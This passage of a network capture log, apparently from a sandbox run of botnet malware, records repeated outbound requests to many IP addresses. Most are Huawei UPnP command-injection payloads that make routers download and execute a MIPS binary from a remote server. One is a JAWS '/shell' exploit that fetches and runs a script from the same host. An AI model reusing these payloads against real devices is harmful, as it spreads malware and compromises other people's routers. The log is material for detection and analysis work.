6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	56054	41.179.108.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.427606106 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	36316	41.170.21.145	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.428091049 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	44560	197.102.244.208	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.428570032 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	56796	41.180.245.216	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.637236118 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	51298	41.78.161.48	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.638554096 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	54130	156.2.36.75	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.673752069 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	49534	84.244.151.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.693514109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	50346	156.55.59.248	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.789598942 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	38488	156.135.136.138	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.792270899 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	37282	156.216.205.112	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.793582916 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	40436	197.134.166.191	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.794188976 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 